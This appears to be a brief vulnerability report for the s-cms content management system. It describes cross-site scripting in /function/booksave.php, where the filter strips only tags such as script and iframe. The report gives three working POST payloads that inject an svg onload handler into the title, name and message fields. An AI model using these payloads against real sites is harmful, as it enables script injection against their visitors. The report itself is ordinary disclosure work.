s-cms Multiple XSS exist in / function / booksave.php in Government station building system #2
Description
in / function / booksave.php,
只是简单得过滤了script,iframe，等标签，可以进行绕过
payload：http://127.0.0.1/CMS/scms//function/booksave.php
POST：G_title="><svg/onload=alert(1)>&G_mail=heelo@qq.com&G_phone=18888888888
POST：G_name="><svg/onload=alert(1)>&G_mail=heelo@qq.com&G_phone=18888888888
POST：G_msg="><svg/onload=alert(1)>&G_mail=heelo@qq.com&G_phone=18888888888
